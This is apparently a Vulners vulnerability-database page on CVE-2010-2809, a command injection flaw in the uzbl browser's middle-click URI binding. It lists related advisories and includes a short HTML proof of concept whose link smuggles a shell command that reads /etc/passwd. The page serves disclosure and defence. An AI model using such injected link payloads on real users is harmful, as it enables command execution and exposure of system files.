Vulners
Lucene search
uzbl 'uzbl-core' - '@SELECTED_URI' Mouse Button Bindings Command Injection
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
 | CVE-2010-2809 | 5 Aug 201000:00 | – | circl |
 | CVE-2010-2809 | 19 Aug 201020:00 | – | cve |
 | CVE-2010-2809 | 19 Aug 201020:00 | – | cvelist |
 | CVE-2010-2809 | 19 Aug 201020:00 | – | debiancve |
 | EUVD-2010-2813 | 7 Oct 202500:30 | – | euvd |
 | [SECURITY] Fedora 13 Update: uzbl-0-0.16.20100626gitafc0f873e.fc13 | 21 Aug 201004:30 | – | fedora |
| [SECURITY] Fedora 12 Update: uzbl-0-0.16.20100626gitafc0f873e.fc12 | 21 Aug 201004:28 | – | fedora |
| [SECURITY] Fedora 14 Update: uzbl-0-0.16.20100626gitafc0f873e.fc14 | 24 Aug 201002:00 | – | fedora |
 | Fedora 13 : uzbl-0-0.16.20100626gitafc0f873e.fc13 (2010-12260) | 23 Aug 201000:00 | – | nessus |
| Fedora 12 : uzbl-0-0.16.20100626gitafc0f873e.fc12 (2010-12276) | 23 Aug 201000:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/42297/info
uzbl 'uzbl-core' is prone to a vulnerability that lets attackers inject arbitrary commands because the application fails to adequately sanitize user-supplied input. This issue stems from an insecure default configuration setting.
To exploit this issue, attackers must entice an unsuspecting user to click on a specially crafted URI with their middle mouse button.
Exploiting this issue would permit remote attackers to inject and execute commands with the privileges of a user running the application.
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <p><a href=""$(cat /etc/passwd |zenity --text-info)"">click me with middle button</a><br />this will open a zenity dialog with your passwd file. I shouldn't be able to do this.</p> </body> </html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Aug 2014 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 26.8
EPSS0.07345